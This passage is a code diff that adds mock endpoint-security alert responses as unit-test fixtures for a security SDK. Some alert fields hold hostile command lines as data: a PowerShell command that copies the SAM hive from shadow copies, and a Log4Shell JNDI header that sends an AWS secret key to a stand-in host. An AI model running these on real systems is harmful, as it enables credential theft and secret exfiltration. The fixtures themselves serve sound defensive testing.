"66331b78-0259-4f57-857d-999d804c569e", - "ioc_field": None, - "ioc_hit": "(process_name:msedge.exe)", - "watchlists": [{"id": "zDCzWnQL2YmGh5OlbF6Q", "name": "edge"}], - "process_guid": "", - "process_name": "msedge.exe", - "run_state": "RAN", - "threat_indicators": [ - { - "process_name": "msedge.exe", - "sha256": "51470c146291697e5ee80b5409b013b414ea88da4c44fd0884723878f7e803ab", - "ttps": ["66331b78-0259-4f57-857d-999d804c569e"], - } - ], - "threat_cause_actor_sha256": "51470c146291697e5ee80b5409b013b414ea88da4c44fd0884723878f7e803ab", - "threat_cause_actor_md5": "16c4c388f84eadd55634c2147e36ce64", - "threat_cause_actor_name": "c:\\program files (x86)\\microsoft\\edge\\application\\msedge.exe", - "threat_cause_reputation": "ADAPTIVE_WHITE_LIST", - "threat_cause_threat_category": "UNKNOWN", - "threat_cause_vector": "UNKNOWN", - "document_guid": "TYPjsqedQmqRddFHjjhQpQ", -} - -GET_ALERT_RESP_WITH_NOTES = { - "type": "CB_ANALYTICS", - "id": "1ba0c35f-9c01-4413-afd8-fe4f01365e35", - "legacy_alert_id": "62802DCE", - "org_key": "4JDT3MX9Q", - "create_time": "2021-05-13T00:20:46.474Z", - "last_update_time": "2021-05-13T00:27:22.846Z", - "first_event_time": "2021-05-13T00:20:13.043Z", - "last_event_time": "2021-05-13T00:20:13.044Z", - "threat_id": "a26842be6b54ea2f58848b23a3461a16", - "severity": 1, - "category": "MONITORED", - "device_id": 8612331, - "device_os": "WINDOWS", - "device_os_version": "Windows Server 2019 x64", - "device_name": "win-2016-devrel", - "device_username": "Administrator", - "policy_id": 7113786, - "policy_name": "Standard", - "target_value": "MEDIUM", - "workflow": { - "state": "OPEN", - "remediation": "None", - "last_update_time": "2021-05-13T00:20:46.474Z", - "comment": "None", - "changed_by": "Carbon Black", - }, - "notes_present": True, - "tags": "None", - "reason": "A port scan was detected from 10.169.255.100 on an external network (off-prem).", - "reason_code": "R_SCAN_OFF", - "process_name": "svchost.exe", - "device_location": "OFFSITE", - "created_by_event_id": "0980efd0b38111eba4bfa5e98aa30b19", - "threat_indicators": [ - { - "process_name": "svchost.exe", - "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", - "ttps": [ - "ACTIVE_SERVER", - "MITRE_T1046_NETWORK_SERVICE_SCANNING", - "NETWORK_ACCESS", - "PORTSCAN", - ], - } - ], - "threat_activity_dlp": "NOT_ATTEMPTED", - "threat_activity_phish": "NOT_ATTEMPTED", - "threat_activity_c2": "NOT_ATTEMPTED", - "threat_cause_actor_sha256": "10.169.255.100", - "threat_cause_actor_name": "svchost.exe -k RPCSS -p", - "threat_cause_actor_process_pid": "868-132563418721238249-0", - "threat_cause_process_guid": "4JDT3MX9Q-008369eb-00000364-00000000-1d6f5ba1b173ce9", - "threat_cause_parent_guid": "None", - "threat_cause_reputation": "ADAPTIVE_WHITE_LIST", - "threat_cause_threat_category": "NEW_MALWARE", - "threat_cause_vector": "UNKNOWN", - "threat_cause_cause_event_id": "0980efd1b38111eba4bfa5e98aa30b19", - "blocked_threat_category": "UNKNOWN", - "not_blocked_threat_category": "NEW_MALWARE", - "kill_chain_status": ["RECONNAISSANCE"], - "sensor_action": "None", - "run_state": "RAN", - "policy_applied": "NOT_APPLIED", -} - -GET_ALERT_NOTES = { - "results": [ - { - "author": "Grogu", - "create_time": "2021-05-13T00:20:46.474Z", - "id": "1", - "note": "I am a note" - }, - { - "author": "Mando", - "create_time": "2021-05-13T00:20:46.474Z", - "id": "2", - "note": "I am a note too" - } - ] -} - -CREATE_ALERT_NOTE = { - "author": "Grogu", - "create_time": "2021-05-13T00:20:46.474Z", - "id": "3gsgsfds", - "note": "I am Grogu" -} diff --git a/src/tests/unit/fixtures/platform/mock_alerts_v7.py b/src/tests/unit/fixtures/platform/mock_alerts_v7.py new file mode 100644 index 000000000..944bc7565 --- /dev/null +++ b/src/tests/unit/fixtures/platform/mock_alerts_v7.py @@ -0,0 +1,588 @@ +"""Mock responses for alert queries.""" + +GET_ALERT_RESP = {"org_key": "ABCD1234", + "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]= \ + id:52fa009d-e2d1-4118-8a8d-04f521ae66aa&orgKey=ABCD1234", + "id": "12ab345cd6-e2d1-4118-8a8d-04f521ae66aa", "type": "WATCHLIST", + "backend_timestamp": "2023-04-14T21:30:40.570Z", "user_update_timestamp": None, + "backend_update_timestamp": "2023-04-14T21:30:40.570Z", + "detection_timestamp": "2023-04-14T21:27:14.719Z", + "first_event_timestamp": "2023-04-14T21:21:42.193Z", + "last_event_timestamp": "2023-04-14T21:21:42.193Z", + "severity": 8, + "reason": "Process infdefaultinstall.exe was detected by the report\ + \"Defense Evasion - \" in 6 watchlists", + "reason_code": "05696200-88e6-3691-a1e3-8d9a64dbc24e:7828aec8-8502-3a43-ae68-41b5050dab5b", + "threat_id": "0569620088E6669121E38D9A64DBC24E", "primary_event_id": "-7RlZFHcSGWKSrF55B_4Ig-0", + "policy_applied": "NOT_APPLIED", "run_state": "RAN", "sensor_action": "ALLOW", + "workflow": {"change_timestamp": "2023-04-14T21:30:40.570Z", "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", "closure_reason": "NO_REASON", "status": "OPEN"}, + "determination": None, + "tags": ["tag1", "tag2"], "alert_notes_present": False, "threat_notes_present": False, + "is_updated": False, + "device_id": 18118174, "device_name": "demo-machine", "device_uem_id": "", + "device_target_value": "LOW", + "device_policy": "123abcde-c21b-4d64-9e3e-53595ef9c7af", "device_policy_id": 1234567, + "device_os": "WINDOWS", + "device_os_version": "Windows 10 x64 SP: 1", "device_username": "demouser@demoorg.com", + "device_location": "UNKNOWN", "device_external_ip": "1.2.3.4", "mdr_alert": False, + "report_id": "oJFtoawGS92fVMXlELC1Ow-b4ee93fc-ec58-436a-a940-b4d33a613513", + "report_name": "Defense Evasion - Signed Binary Proxy Execution - InfDefaultInstall", + "report_description": "\n\nThreat:\nThis behavior may be abused by adversaries to execute malicious\ + files that could bypass application whitelisting and signature validation on systems.\n\nFalse \ + Positives:\nSome environments may legitimate use this, but should be rare.\n\nScore:\n85", + "report_tags": ["attack", "attackframework", "threathunting"], + "report_link": "https://attack.mitre.org/wiki/Technique/T1218", + "ioc_id": "b4ee93fc-ec58-436a-a940-b4d33a613513-0", + "ioc_hit": "((process_name:InfDefaultInstall.exe)) -enriched:true", + "watchlists": [{"id": "9x0timurQkqP7FBKX4XrUw", "name": "Carbon Black Advanced Threats"}], + "process_guid": "ABC12345-000309c2-00000478-00000000-1d6a1c1f2b02805", "process_pid": 10980, + "process_name": "infdefaultinstall.exe", + "process_sha256": "1a2345cd88666a458f804e5d0fe925a9f55cf016733458c58c1980addc44cd774", + "process_md5": "12c34567894a49f13193513b0138f72a9", "process_effective_reputation": "LOCAL_WHITE", + "process_reputation": "NOT_LISTED", + "process_cmdline": "InfDefaultInstall.exe C:\\Users\\username\\userdir\\Infdefaultinstall.inf", + "process_username": "DEMO\\DEMOUSER", "process_issuer": "Demo Code Signing CA - G2", + "process_publisher": "Demo Test Authority", "childproc_guid": "", "childproc_username": "", + "childproc_cmdline": "", + "ml_classification_final_verdict": "NOT_ANOMALOUS", "ml_classification_global_prevalence": "LOW", + "ml_classification_org_prevalence": "LOW"} + +GET_ALERT_RESP_INVALID_ALERT_ID = {"type": "CB_ANALYTICS", "id": "86123310980efd0b38111eba4bfa5e98aa30b19", + "legacy_alert_id": None, "org_key": "ABCD1234", + "create_time": "2021-05-13T00:20:46.474Z", + "last_update_time": "2021-05-13T00:27:22.846Z", + "first_event_time": "2021-05-13T00:20:13.043Z", + "last_event_time": "2021-05-13T00:20:13.044Z", + "threat_id": "a26842be6b54ea2f58848b23a3461a16", "severity": 1, + "category": "MONITORED", "device_id": 8612331, "device_os": "WINDOWS", + "device_os_version": "Windows Server 2019 x64", "device_name": "demo-machine", + "device_username": "Administrator", + "policy_id": 7113786, "policy_name": "Standard", "target_value": "MEDIUM", + "workflow": {"state": "OPEN", "remediation": "None", + "last_update_time": "2021-05-13T00:20:46.474Z", + "comment": "None", "changed_by": "Carbon Black", }, + "notes_present": False, "tags": "None", + "reason": "A port scan was detected from 10.169.255.100 on an external network \ + (off-prem).", + "reason_code": "R_SCAN_OFF", "process_name": "svchost.exe", + "device_location": "OFFSITE", + "created_by_event_id": "0980efd0b38111eba4bfa5e98aa30b19", + "threat_indicators": [{"process_name": "svchost.exe", + "sha256": "7fd065bac18c5278777ae4490810\ + 1cdfed72d26fa741367f0ad4d02020787ab6", + "ttps": ["ACTIVE_SERVER", + "MITRE_T1046_NETWORK_SERVICE_SCANNING", + "NETWORK_ACCESS", "PORTSCAN"], }], + } + +GET_ALERT_TYPE_WATCHLIST = {"org_key": "ABC12345", + "alert_url": "defense.conferdeploy.net/alerts?s[c][query_string]= \ + id:887e6bbc-6224-4f36-ad37-084038b7fcab&orgKey=ABC12345", + "id": "887e6bbc-6224-4f36-ad37-084038b7fcab", "type": "WATCHLIST", + "backend_timestamp": "2023-07-17T17:42:29.822Z", + "user_update_timestamp": "null", "backend_update_timestamp": "2023-07-17T17:42:29.822Z", + "detection_timestamp": "2023-07-17T17:41:57.829Z", + "first_event_timestamp": "2023-07-17T17:40:24.688Z", + "last_event_timestamp": "2023-07-17T17:40:24.688Z", "severity": 10, + "reason": "Process powershell.exe was detected by the report \ + \"Credential Access - Suspect Volume Shadow Copy Behavior Detected\" in \ + watchlist \"Carbon Black Advanced Threats\"", + "reason_code": "d05c5be2-02f0-3161-bbe2-ee4b26c72712:b598b578-314c-39e2-b4ac-4a1b04b44708", + "threat_id": "D05C5BE202F0F1617BE2EE4B26C72712", + "primary_event_id": "Gy8SwrTARRWq6lp_PpxMKg-0", + "policy_applied": "NOT_APPLIED", "run_state": "RAN", "sensor_action": "ALLOW", + "workflow": {"change_timestamp": "2023-07-17T17:42:29.822Z", "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", "closure_reason": "NO_REASON", + "status": "OPEN"}, + "determination": {"change_timestamp": "2023-07-17T17:42:29.822Z", "value": "NONE", + "changed_by_type": "null", + "changed_by": "null"}, "tags": "null", "alert_notes_present": "false", + "threat_notes_present": "false", + "is_updated": "false", "device_id": 6948863, "device_name": "Kognos-W19-CB-3", + "device_uem_id": "", + "device_target_value": "MISSION_CRITICAL", "device_policy": "SSQ_Policy", + "device_policy_id": 112221, + "device_os": "WINDOWS", "device_os_version": "Windows Server 2019 x64", + "device_username": "rahul.gopi@devo.com", + "device_location": "UNKNOWN", "device_external_ip": "34.234.170.45", + "device_internal_ip": "10.0.14.120", + "mdr_alert": "false", "mdr_alert_notes_present": "false", + "mdr_threat_notes_present": "false", + "report_id": "MLRtPcpQGKFh5OE4BT3tQ-49760e2e-c1e4-42e9-8157-4084ff002bcc", + "report_name": "Credential Access - Suspect Volume Shadow Copy Behavior Detected", + "report_description": "\n\nThreat:\nAdversaries may attempt to access or create a copy of \ + the Active Directory domain database in order to steal credential information, as well as \ + obtain other information about domain members such as devices, users, and access rights. \ + If you are responding to this alert you should take immediate action.\n\nFalse Positives:\n\ + Some IT backup software may trigger this detection.\n\nScore:\n100", + "report_tags": ["credentialaccess", "activedirectory", "volumeshadowcopy", "ntds", "t1003", + "attackframework", + "windows"], "report_link": "https://attack.mitre.org/techniques/T1003/003/", + "ioc_id": "49760e2e-c1e4-42e9-8157-4084ff002bcc-0", + "ioc_hit": "((process_cmdline:HarddiskVolumeShadowCopy* AND (process_cmdline:\ + ntds\\\\ntds.dit OR process_cmdline:system32\\\\config\\\\sam OR process_cmdline:system32\ + \\\\config\\\\system)) - (process_name:windows\\\\system32\\\\esentutl.exe OR \ + process_publisher:\"Veritas\\ Technologies\\ LLC\" OR process_publisher:\"Symantec\\ \ + Corporation\")) -enriched:true", + "watchlists": [{"id": "Z7L0yVdGQ62w2VmqcBUnA", "name": "Carbon Black Advanced Threats"}], + "process_guid": "ABC12345-000309c2-00000478-00000000-1d6a1c1f2b02805", "process_pid": 1632, + "process_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "process_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "process_md5": "7353f60b1739074eb17c5f4dddefe239", + "process_effective_reputation": "TRUSTED_WHITE_LIST", + "process_reputation": "TRUSTED_WHITE_LIST", + "process_cmdline": "\"powershell.exe\" & {1..10 | % { \n try { [System.IO.File]:: \ + Copy(\\\"\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\SAM\\\"\" , \ + \\\"\"$env:TEMP\\SAMvss$_\\\"\", \\\"\"true\\\"\") } catch {}\n ls \\\"\"$env:TEMP\\SAMvss$_\\\"\" -ErrorAction \ + Ignore\n}}", + "process_username": "KOGNOS-W19-CB-3\\Administrator", + "process_issuer": ["Microsoft Windows Production PCA 2011"], + "process_publisher": ["Microsoft Windows"], + "parent_guid": "ABC12345-006a07ff-000009a0-00000000-1d9b8d5c2fcbfb7", + "parent_pid": 2464, + "parent_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "parent_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "parent_md5": "7353f60b1739074eb17c5f4dddefe239", + "parent_effective_reputation": "TRUSTED_WHITE_LIST", + "parent_reputation": "TRUSTED_WHITE_LIST", + "parent_cmdline": "\"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe\" -c \"\ + cd c:\\ ; echo MYPID=$PID; Get-Date ; Invoke-AtomicTest T1003.002-6 \"", + "parent_username": "KOGNOS-W19-CB-3\\Administrator", "childproc_guid": "", + "childproc_username": "", + "childproc_cmdline": "", "ml_classification_final_verdict": "NOT_ANOMALOUS", + "ml_classification_global_prevalence": "MEDIUM", "ml_classification_org_prevalence": "LOW"} + +GET_ALERT_TYPE_WATCHLIST_INVALID = {"org_key": "ABC12345", + "alert_url": "defense.conferdeploy.net/alerts?s[c][query_string]=\ + id:887e6bbc-6224-4f36-ad37-084038b7fcab&orgKey=ABC12345", + "id": "887e6bbc-6224-4f36-ad37-084038b7fcab", "type": "WATCHLIST", + "backend_timestamp": "2023-07-17T17:42:29.822Z", + "user_update_timestamp": "null", + "backend_update_timestamp": "2023-07-17T17:42:29.822Z", + "detection_timestamp": "2023-07-17T17:41:57.829Z", + "first_event_timestamp": "2023-07-17T17:40:24.688Z", + "last_event_timestamp": "2023-07-17T17:40:24.688Z", "severity": 10, + "reason": "Process powershell.exe was detected by the report \"Credential Access \ + - Suspect Volume Shadow Copy Behavior Detected\" in watchlist \"Carbon Black \ + Advanced Threats\"", + "reason_code": "d05c5be2-02f0-3161-bbe2-ee4b26c72712\ + :b598b578-314c-39e2-b4ac-4a1b04b44708", + "threat_id": "D05C5BE202F0F1617BE2EE4B26C72712", + "primary_event_id": "Gy8SwrTARRWq6lp_PpxMKg-0", + "policy_applied": "NOT_APPLIED", "run_state": "RAN", "sensor_action": "ALLOW", + "workflow": {"change_timestamp": "2023-07-17T17:42:29.822Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", "closure_reason": "NO_REASON", + "status": "OPEN"}, + "determination": {"change_timestamp": "2023-07-17T17:42:29.822Z", "value": "NONE", + "changed_by_type": "null", + "changed_by": "null"}, "tags": "null", + "alert_notes_present": "false", "threat_notes_present": "false", + "is_updated": "false", "device_id": 6948863, "device_name": "Kognos-W19-CB-3", + "device_uem_id": "", + "device_target_value": "MISSION_CRITICAL", "device_policy": "SSQ_Policy", + "device_policy_id": 112221, + "device_os": "WINDOWS", "device_os_version": "Windows Server 2019 x64", + "device_username": "rahul.gopi@devo.com", + "device_location": "UNKNOWN", "device_external_ip": "34.234.170.45", + "device_internal_ip": "10.0.14.120", + "mdr_alert": "false", "mdr_alert_notes_present": "false", + "mdr_threat_notes_present": "false", + "report_id": "MLRtPcpQGKFh5OE4BT3tQ-49760e2e-c1e4-42e9-8157-4084ff002bcc", + "report_name": "Credential Access - Suspect Volume Shadow Copy Behavior Detected", + "report_description": "\n\nThreat:\nAdversaries may attempt to access or create a \ + copy of the Active Directory domain database in order to steal credential \ + information, as well as obtain other information about domain members such as \ + devices, users, and access rights. If you are responding to this alert you should \ + take immediate action. \n\nFalse Positives:\nSome IT backup software may trigger \ + this detection.\n\nScore:\n100", + "report_tags": ["credentialaccess", "activedirectory", "volumeshadowcopy", "ntds", + "t1003", "attackframework", + "windows"], + "report_link": "https://attack.mitre.org/techniques/T1003/003/", + "ioc_id": "49760e2e-c1e4-42e9-8157-4084ff002bcc-0", + "ioc_hit": "((process_cmdline:HarddiskVolumeShadowCopy* AND (process_cmdline:\ + ntds\\\\ntds.dit OR process_cmdline:system32\\\\config\\\\sam OR \ + process_cmdline:system32\\\\config\\\\system)) -(process_name:windows\ + \\\\system32\\\\esentutl.exe OR process_publisher:\"Veritas\\ Technologies\\ LLC\" \ + OR process_publisher:\"Symantec\\ Corporation\")) -enriched:true", + "watchlists": [ + {"id": "Z7L0yVdGQ62w2VmqcBUnA", "name": "Carbon Black Advanced Threats"}], + "process_guid": "", + "process_pid": 1632, + "process_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "process_sha256": "de96a6e69944335375dc1ac238336066\ + 889d9ffc7d73628ef4fe1b1b160ab32c", + "process_md5": "7353f60b1739074eb17c5f4dddefe239", + "process_effective_reputation": "TRUSTED_WHITE_LIST", + "process_reputation": "TRUSTED_WHITE_LIST", + "process_cmdline": "\"powershell.exe\" & {1..10 | % { \n try { [System.IO.File]::\ + Copy(\\\"\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\ + \\config\\SAM\\\"\" , \\\"\"$env:TEMP\\SAMvss$_\\\"\", \\\"\"true\\\"\") } catch {}\ + \n ls \\\"\"$env:TEMP\\SAMvss$_\\\"\" -ErrorAction Ignore\n}}", + "process_username": "KOGNOS-W19-CB-3\\Administrator", + "process_issuer": ["Microsoft Windows Production PCA 2011"], + "process_publisher": ["Microsoft Windows"], + "parent_guid": "ABC12345-006a07ff-000009a0-00000000-1d9b8d5c2fcbfb7", + "parent_pid": 2464, + "parent_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "parent_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "parent_md5": "7353f60b1739074eb17c5f4dddefe239", + "parent_effective_reputation": "TRUSTED_WHITE_LIST", + "parent_reputation": "TRUSTED_WHITE_LIST", + "parent_cmdline": "\"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe\ + \" -c \"cd c:\\ ; echo MYPID=$PID; Get-Date ; Invoke-AtomicTest T1003.002-6 \"", + "parent_username": "KOGNOS-W19-CB-3\\Administrator", "childproc_guid": "", + "childproc_username": "", + "childproc_cmdline": "", "ml_classification_final_verdict": "NOT_ANOMALOUS", + "ml_classification_global_prevalence": "MEDIUM", + "ml_classification_org_prevalence": "LOW"} + +GET_ALERT_RESP_WITH_NOTES = {"org_key": "ABC12345", + "alert_url": "defense-test03.cbdtest.io/alerts?s[c][query_string]=\ + id:52dbd1b6-539b-a3f7-34bd-f6eb13a99b81&orgKey=ABC12345", + "id": "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", "type": "CONTAINER_RUNTIME", + "backend_timestamp": "2023-07-18T00:02:17.465Z", "user_update_timestamp": "null", + "backend_update_timestamp": "2023-07-18T00:02:17.465Z", + "detection_timestamp": "2023-07-18T00:00:38.456Z", + "first_event_timestamp": "2023-07-17T23:59:31.502Z", + "last_event_timestamp": "2023-07-17T23:59:31.502Z", + "severity": 5, + "reason": "Detected a connection to a public destination that isn't allowed for \ + this scope", + "reason_code": "6e41702c-c64e-4950-9eec-1737228cf9f7:f8b1637a-dc0c-49bb-bc28-5b48f97e6d58", + "threat_id": "78de82d612a7d3d4a6caffa4ce7e7bb718e23d926dcd9a5047f6e9f129279d44", + "primary_event_id": "5XkI7XjGQ-6k20UtdzvDKQ-552", "policy_applied": "NOT_APPLIED", + "run_state": "RAN", + "sensor_action": "ALLOW", + "workflow": {"change_timestamp": "2023-07-18T00:02:17.465Z", "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", "closure_reason": "NO_REASON", + "status": "OPEN"}, + "determination": {"change_timestamp": "2023-07-18T00:02:17.465Z", "value": "NONE", + "changed_by_type": "null", + "changed_by": "null"}, "tags": "null", "alert_notes_present": "false", + "threat_notes_present": "false", + "is_updated": "false", "mdr_alert": "false", "mdr_alert_notes_present": "false", + "mdr_threat_notes_present": "false", "netconn_remote_port": 443, + "netconn_local_port": 56802, + "netconn_protocol": "TCP", "netconn_remote_domain": "westus3.monitoring.azure.com", + "netconn_remote_ip": "10.10.10.10", "netconn_local_ip": "10.224.0.74", + "netconn_remote_ipv4": "10.10.10.10", + "netconn_local_ipv4": "10.224.0.74", "k8s_cluster": "test:test-azure-cni", + "k8s_namespace": "kube-system", + "k8s_kind": "DaemonSet", "k8s_workload_name": "ama-logs", "k8s_pod_name": "ama-logs-svxpg", + "k8s_policy_id": "6e41702c-c64e-4950-9eec-1737228cf9f7", + "k8s_policy": "test-runtime-policy", + "k8s_rule_id": "f8b1637a-dc0c-49bb-bc28-5b48f97e6d58", + "k8s_rule": "Allowed public destinations", + "connection_type": "EGRESS", "egress_group_id": "", "egress_group_name": "", + "ip_reputation": 0, + "remote_is_private": "false"} + +GET_ALERT_NOTES = {"num_found": 2, "num_available": 2, "results": [ + {"author": "Grogu", "id": "3gsgsfds", "note": "I am Grogu", "create_timestamp": "2023-04-18T03:25:44.397Z", + "last_update_timestamp": "2023-04-18T03:25:44.397Z", "source": "CUSTOMER", "parent_id": None, + "read_history": None, "thread": None}, + {"author": "demouser@demoorg.com", "create_timestamp": "2023-04-18T03:25:44.397Z", + "last_update_timestamp": "2023-04-18T03:25:44.397Z", "id": "2", "source": "CUSTOMER", "note": "My first note", + "parent_id": None, "read_history": None, "thread": None}]} + + +GET_ALERT_NOTES_INTEGER_ID = {"num_found": 2, "num_available": 2, "results": [ + {"author": "Grogu", "id": "1", "note": "I am Grogu", "create_timestamp": "2023-04-18T03:25:44.397Z", + "last_update_timestamp": "2023-04-18T03:25:44.397Z", "source": "CUSTOMER", "parent_id": None, + "read_history": None, "thread": None}, + {"author": "demouser@demoorg.com", "create_timestamp": "2023-04-18T03:25:44.397Z", + "last_update_timestamp": "2023-04-18T03:25:44.397Z", "id": "2", "source": "CUSTOMER", "note": "My first note", + "parent_id": None, "read_history": None, "thread": None}]} + +CREATE_ALERT_NOTE_RESP = {"author": "Grogu", "id": "3gsgsfds", "note": "I am Grogu", + "create_timestamp": "2023-04-18T03:25:44.397Z", + "last_update_timestamp": "2023-04-18T03:25:44.397Z", + "source": "CUSTOMER", "parent_id": None, "read_history": None, "thread": None} + +CREATE_ALERT_FACET_BODY = { + "terms": { + "fields": [ + "TYPE" + ], + }, + "criteria": { + "minimum_severity": "3" + }, +} + +GET_ALERT_FACET_RESP = { + "results": [ + { + "field": "type", + "values": [ + { + "total": 1916, + "id": "WATCHLIST", + "name": "WATCHLIST" + }, + { + "total": 41, + "id": "CB_ANALYTICS", + "name": "CB_ANALYTICS" + } + ] + } + ] +} + +GET_ALERT_FACET_RESP_INVALID = { + "error_code": "INVALID_ENUM_VALUE", "message": "Malformed JSON input: terms.fields[0]", "field": "terms.fields[0]", + "invalid_value": "jager", "known_values": [ + "TYPE", + "K8S_POLICY", + "K8S_POLICY_ID", + "K8S_RULE", + "K8S_RULE_ID", + "ATTACK_TACTIC", + "ATTACK_TECHNIQUE", + "DEVICE_ID", + "DEVICE_NAME", + "APPLICATION_HASH", + "APPLICATION_NAME", + "RUN_STATE", + "POLICY_APPLIED", + "SENSOR_ACTION", + "K8S_CLUSTER", + "K8S_NAMESPACE", + "K8S_KIND", + "K8S_WORKLOAD_NAME", + "CONNECTION_TYPE", + "RULE_ID", + "RULE_CONFIG_CATEGORY", + "RULE_CONFIG_NAME", + "RULE_CONFIG_ID", + "THREAT_ID", + "POLICY_CONFIGURATION_NAME", + "DEVICE_POLICY", + "REPORT_NAME", + "WATCHLISTS_NAME", + "THREAT_HUNT_NAME", + "VENDOR_NAME", + "PRODUCT_NAME", + "EXTERNAL_DEVICE_FRIENDLY_NAME", + "PROCESS_NAME", + "PROCESS_SHA256", + "PROCESS_EFFECTIVE_REPUTATION", + "PROCESS_REPUTATION", + "PROCESS_USERNAME", + "PARENT_NAME", + "PARENT_SHA256", + "PARENT_USERNAME", + "PARENT_REPUTATION", + "PARENT_EFFECTIVE_REPUTATION", + "CHILDPROC_EFFECTIVE_REPUTATION", + "MDR_ALERT", + "ORG_KEY", + "TAGS", + "SEVERITY", + "WORKFLOW_STATUS", + "WORKFLOW_CHANGED_BY_TYPE", + "WORKFLOW_CHANGED_BY_AUTOCLOSE_RULE_ID", + "DETERMINATION_VALUE", + "DETERMINATION_CHANGED_BY_TYPE", + "ORG_FEATURE_ENTITLEMENT", + "ACCOUNT_NAME", + "SLO_TIME_RANGE", + "MDR_WORKFLOW_STATUS", + "MDR_WORKFLOW_CHANGED_BY_TYPE", + "MDR_WORKFLOW_CHANGED_BY", + "MDR_WORKFLOW_CHANGED_BY_RULE_ID", + "MDR_WORKFLOW_ASSIGNED_TO", + "MDR_DETERMINATION_VALUE", + "MDR_CLASSIFICATION_DETERMINATION_CODE", + "MDR_DETERMINATION_SUB_DETERMINATION", + "MDR_DETERMINATION_CHANGED_BY_TYPE", + "MDR_ML_CLASSIFICATION_CONFIDENCE", + "MDR_ML_CLASSIFICATION_VERDICT", + "ML_CLASSIFICATION_FINAL_VERDICT", + "CONTAINER_IMAGE_NAME", + "CONTAINER_NAME" + ] +} + +GET_ALERT_v7_INTRUSION_DETECTION_SYSTEM_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": "defense-dev01.cbdtest.io/alerts?s[c]" + "[query_string]=id:ca316d99-a808-3779-8aab-62b2b6d9541c&orgKey=ABCD1234", + "id": "ca316d99-a808-3779-8aab-62b2b6d9541c", + "type": "INTRUSION_DETECTION_SYSTEM", + "backend_timestamp": "2023-02-03T17:27:33.007Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-02-03T17:27:33.007Z", + "detection_timestamp": "2023-02-03T17:22:03.945Z", + "first_event_timestamp": "2023-02-03T17:22:03.945Z", + "last_event_timestamp": "2023-02-03T17:22:03.945Z", + "severity": 1, + "reason": "HTTP traffic from asset DEV01-39X-1 matched IDS signature for threat CVE-2021-44228 Exploit", + "reason_code": "DC68DDD6-4B82-4AAF-9321-B4EBB32F5C2D:B5974D4D-265E-4FAF-8F71-2F76AAD67857", + "threat_id": "bbe232a02b6c5583786503c25fe9a1d29d6ed39d3a295a6ff5c07f81629d0017", + "primary_event_id": "21AB6B27-9F72-11ED-A79A-005056A53F17", + "policy_applied": "NOT_APPLIED", + "run_state": "RAN", + "sensor_action": "ALLOW", + "workflow": {"change_timestamp": "2023-02-03T17:27:33.007Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "OPEN"}, + "determination": {"change_timestamp": "2023-02-03T17:27:33.007Z", + "value": "NONE", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION"}, + "tags": "", + "alert_notes_present": False, + "threat_notes_present": False, + "is_updated": False, + "rule_category_id": "DC68DDD6-4B82-4AAF-9321-B4EBB32F5C2D", + "rule_id": "B5974D4D-265E-4FAF-8F71-2F76AAD67857", + "device_id": 17482451, + "device_name": "DEV01-39X-1", + "device_uem_id": "", + "device_target_value": "MEDIUM", + "device_policy": "Standard", + "device_policy_id": 165700, + "device_os": "WINDOWS", + "device_os_version": "Windows 10 x64", + "device_username": "DemoMachine", + "device_location": "UNKNOWN", + "device_external_ip": "66.170.99.2", + "device_internal_ip": "10.203.105.21", + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "ttps": [], + "attack_tactic": "TA0001", + "attack_technique": "T1190", + "process_guid": "ABCD1234-010ac2d3-00001694-00000000-1d937f40884b9e0", + "process_pid": 5780, + "process_name": "c:\\windows\\system32\\curl.exe", + "process_sha256": "d76d08c04dfa434de033ca220456b5b87e6b3f0108667bd61304142c54addbe4", + "process_md5": "eac53ddafb5cc9e780a7cc086ce7b2b1", + "process_effective_reputation": "TRUSTED_WHITE_LIST", + "process_reputation": "TRUSTED_WHITE_LIST", + "process_cmdline": "curl -H \"Host: \\${jndi:ldap://\\{env:AWS_SECRET_ACCESS_KEY}.badserver.io}\" " + "http://google.com/testingids", + "process_username": "DEV01-39X-1\\bit9qa", + "process_issuer": ["Microsoft Windows Production PCA 2011"], + "process_publisher": ["Microsoft Windows"], + "parent_guid": "ABCD1234-010ac2d3-0000225c-00000000-1d9300e2bb5211a", + "parent_pid": 8796, + "parent_name": "c:\\windows\\system32\\cmd.exe", + "parent_sha256": "b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450", + "parent_md5": "8a2122e8162dbef04694b9c3e0b6cdee", + "parent_effective_reputation": "TRUSTED_WHITE_LIST", + "parent_reputation": "TRUSTED_WHITE_LIST", + "parent_cmdline": "\"C:\\WINDOWS\\system32\\cmd.exe\" ", + "parent_username": "DEV01-39X-1\\bit9qa", + "childproc_guid": "", + "childproc_username": "", + "childproc_cmdline": "", + "netconn_remote_port": 80, + "netconn_local_port": 49233, + "netconn_protocol": "", + "netconn_remote_domain": "google.com", + "netconn_remote_ip": "142.250.189.174", + "netconn_local_ip": "10.203.105.21", + "netconn_remote_ipv4": "142.250.189.174", + "netconn_local_ipv4": 